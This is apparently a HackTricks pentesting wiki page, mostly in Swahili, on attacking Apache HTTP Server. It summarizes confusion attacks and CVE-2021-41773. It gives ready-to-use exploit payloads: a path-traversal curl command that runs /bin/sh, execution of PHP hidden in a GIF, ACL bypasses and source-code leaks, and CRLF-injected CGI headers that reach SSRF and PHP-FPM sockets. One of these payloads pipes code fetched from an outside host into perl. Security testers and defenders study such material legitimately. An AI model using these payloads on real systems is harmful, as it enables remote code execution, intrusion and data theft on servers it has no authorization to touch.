Apache
Reading time: 10 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Extensions za PHP zinazoweza kutekelezwa
Angalia ni extensions gani zinazoendesha seva ya Apache. Ili kuzitafuta unaweza kutekeleza:
grep -R -B1 "httpd-php" /etc/apache2
Pia, baadhi ya maeneo ambapo unaweza kupata usanidi huu ni:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
Confusion Attack
Aina hizi za mashambulizi zimeanzishwa na kuandikwa na Orange katika chapisho hili la blog na yafuatayo ni muhtasari. Shambulizi la "confusion" kimsingi linatumia jinsi moduli kumi zinazofanya kazi pamoja kuunda Apache hazifanyi kazi kwa usawa na kufanya baadhi yao kubadilisha data zisizotarajiwa kunaweza kusababisha udhaifu katika moduli inayofuata.
Filename Confusion
Truncation
mod_rewrite
itakata maudhui ya r->filename
baada ya herufi ?
(modules/mappers/mod_rewrite.c#L4141). Hii si sahihi kabisa kwani moduli nyingi zitachukulia r->filename
kama URL. Lakini katika matukio mengine hii itachukuliwa kama njia ya faili, ambayo itasababisha tatizo.
- Path Truncation
Inawezekana kutumia vibaya mod_rewrite
kama katika mfano wa sheria ifuatayo ili kufikia faili nyingine ndani ya mfumo wa faili, kuondoa sehemu ya mwisho ya njia inayotarajiwa kwa kuongeza tu ?
:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Kuweka Upya Kiwango cha RewriteFlag
Katika sheria ifuatayo ya kuandika upya, mradi tu URL inamalizika na .php itachukuliwa na kutekelezwa kama php. Hivyo, inawezekana kutuma URL inayomalizika na .php baada ya herufi ?
wakati wa kupakia katika njia aina tofauti ya faili (kama picha) yenye msimbo mbaya wa php ndani yake:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
Inawezekana kufikia faili ambazo mtumiaji hapaswi kuwa na uwezo wa kufikia hata kama ufikiaji unapaswa kukataliwa na mipangilio kama:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
Hii ni kwa sababu kwa default PHP-FPM itapokea URLs zinazomalizika na .php
, kama http://server/admin.php%3Fooo.php
na kwa sababu PHP-FPM itafuta chochote baada ya herufi ?
, URL ya awali itaruhusu kupakia /admin.php
hata kama sheria ya awali ilikataza.
DocumentRoot Confusion
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to https://server/abouth.html
will check for the file in /var/www/html/about.html
and /about.html
in the file system. Which basically can be abused to access files in the file system.
Server-Side Source Code Disclosure
- Disclose CGI Source Code
Just adding a %3F at the end is enough to leak the source code of a cgi module:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- Fichua Msimbo wa Chanzo wa PHP
Ikiwa seva ina maeneo tofauti na moja yao ikiwa ni eneo la kudumu, hii inaweza kutumika vibaya kuvuka mfumo wa faili na kufichua msimbo wa php:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Usimamizi wa Vifaa vya Mitaa
Shida kuu na shambulio la awali ni kwamba kwa kawaida ufikiaji mwingi juu ya mfumo wa faili utawekewa vizuizi kama ilivyo katika kigezo cha usanidi cha Apache HTTP Server:
<Directory />
AllowOverride None
Require all denied
</Directory>
Hata hivyo, Debian/Ubuntu mifumo ya uendeshaji kwa default inaruhusu /usr/share
:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Kwa hivyo, itakuwa inawezekana kudhulumu faili zilizoko ndani ya /usr/share
katika usambazaji hizi.
Gadget ya Mitaa kwa Ufunuo wa Taarifa
- Apache HTTP Server na websocketd inaweza kufichua dump-env.php script kwenye /usr/share/doc/websocketd/examples/php/, ambayo inaweza kuvuja mabadiliko ya mazingira ya nyeti.
- Seva zenye Nginx au Jetty zinaweza kufichua taarifa nyeti za programu za wavuti (mfano, web.xml) kupitia mizizi yao ya wavuti ya kawaida iliyowekwa chini ya /usr/share:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Gadget ya Mitaa kwa XSS
- Kwenye Ubuntu Desktop yenye LibreOffice imewekwa, kudhulumu kipengele cha kubadilisha lugha za faili za msaada kunaweza kusababisha Cross-Site Scripting (XSS). Kubadilisha URL kwenye /usr/share/libreoffice/help/help.html kunaweza kuelekeza kwenye kurasa za uhalifu au toleo la zamani kupitia unsafe RewriteRule.
Gadget ya Mitaa kwa LFI
- Ikiwa PHP au pakiti fulani za mbele kama JpGraph au jQuery-jFeed zimewekwa, faili zao zinaweza kudhulumiwa kusoma faili nyeti kama /etc/passwd:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Gadget ya Mitaa kwa SSRF
- Kutumia MagpieRSS's magpie_debug.php kwenye /usr/share/php/magpierss/scripts/magpie_debug.php, udhaifu wa SSRF unaweza kuundwa kwa urahisi, ukitoa lango kwa udhalilishaji zaidi.
Gadget ya Mitaa kwa RCE
- Fursa za Remote Code Execution (RCE) ni nyingi, na usakinishaji dhaifu kama PHPUnit ya zamani au phpLiteAdmin. Hizi zinaweza kudhulumiwa kutekeleza msimbo wa kiholela, ikionyesha uwezo mkubwa wa kudhulumu gadget za ndani.
Jailbreak kutoka kwa Gadget za Mitaa
Pia inawezekana kufanya jailbreak kutoka kwenye folda zilizoruhusiwa kwa kufuata symlinks zilizoundwa na programu zilizowekwa katika folda hizo, kama:
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
Zaidi ya hayo, kudhulumu symlinks ilikuwa inawezekana kupata RCE katika Redmine.
Handler Confusion
Shambulio hili linatumia mchanganyiko wa kazi kati ya AddHandler
na AddType
directives, ambazo zote zinaweza kutumika kuwezesha usindikaji wa PHP. Awali, directives hizi zilihusisha maeneo tofauti (r->handler
na r->content_type
mtawalia) katika muundo wa ndani wa seva. Hata hivyo, kutokana na msimbo wa urithi, Apache inashughulikia directives hizi kwa kubadilishana chini ya hali fulani, ikigeuza r->content_type
kuwa r->handler
ikiwa ya kwanza imewekwa na ya pili haijawa.
Zaidi ya hayo, katika Apache HTTP Server (server/config.c#L420
), ikiwa r->handler
iko tupu kabla ya kutekeleza ap_run_handler()
, seva inatumia r->content_type
kama handler, kwa ufanisi ikifanya AddType
na AddHandler
kuwa sawa katika athari.
Overwrite Handler ili Kufichua Msimbo wa PHP
Katika hii hotuba, ilionyeshwa udhaifu ambapo Content-Length
isiyo sahihi iliyotumwa na mteja inaweza kusababisha Apache kurudisha msimbo wa PHP kwa makosa. Hii ilikuwa kwa sababu ya tatizo la kushughulikia makosa na ModSecurity na Apache Portable Runtime (APR), ambapo jibu mara mbili linaweza kusababisha kuandika upya r->content_type
kuwa text/html
.
Kwa sababu ModSecurity haiwezi kushughulikia vizuri thamani za kurudi, itarudisha msimbo wa PHP na haitautafsiri.
Overwrite Handler kwa XXXX
TODO: Orange hajafichua udhaifu huu bado
Kuitisha Handlers za Kiholela
Ikiwa mshambuliaji anaweza kudhibiti Content-Type
header katika jibu la seva atakuwa na uwezo wa kuitisha handlers za moduli za kiholela. Hata hivyo, kwa hatua ambayo mshambuliaji anadhibiti hii, mchakato mwingi wa ombi utakuwa umekamilika. Hata hivyo, inawezekana kuanzisha upya mchakato wa ombi kwa kudhulumu Location
header kwa sababu ikiwa returned Status
ni 200 na Location
header inaanza na /
, jibu linachukuliwa kama Uelekeo wa Seva na linapaswa kushughulikiwa.
Kulingana na RFC 3875 (specification kuhusu CGI) katika Sehemu 6.2.2 inafafanua tabia ya Jibu la Uelekeo wa Mitaa:
Skripti ya CGI inaweza kurudisha njia ya URI na mfuatano wa swali (‘local-pathquery’) kwa rasilimali ya ndani katika uwanja wa header wa Location. Hii inaashiria kwa seva kwamba inapaswa kuendelea kushughulikia ombi kwa kutumia njia iliyotajwa.
Kwa hivyo, ili kutekeleza shambulio hili inahitajika moja ya udhaifu ufuatao:
- CRLF Injection katika vichwa vya jibu vya CGI
- SSRF kwa udhibiti kamili wa vichwa vya jibu
Handler ya Kiholela kwa Ufunuo wa Taarifa
Kwa mfano /server-status
inapaswa kuwa inapatikana tu kwa ndani:
<Location /server-status>
SetHandler server-status
Require local
</Location>
Inawezekana kuipata kwa kuweka Content-Type
kuwa server-status
na kichwa cha Location kinachoanza na /
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Mshughulikiaji wa Kawaida kwa SSRF Kamili
Kuelekeza kwa mod_proxy
ili kufikia protokali yoyote kwenye URL yoyote:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
Hata hivyo, kichwa cha X-Forwarded-For
kinajumuishwa kuzuia ufikiaji wa mwisho wa metadata ya wingu.
Mshughulikiaji wa Kijazaji ili Kufikia Socket ya Kihali ya Unix ya Mitaa
Fikia Socket ya Kihali ya Unix ya PHP-FPM ili kutekeleza backdoor ya PHP iliyoko katika /tmp/
:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Mshughulikiaji wa Hali ya Juu kwa RCE
Picha rasmi ya PHP Docker inajumuisha PEAR (Pearcmd.php
), chombo cha usimamizi wa pakiti za PHP cha mstari wa amri, ambacho kinaweza kutumika vibaya kupata RCE:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Angalia Docker PHP LFI Summary, iliyoandikwa na Phith0n kwa maelezo ya mbinu hii.
Marejeleo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.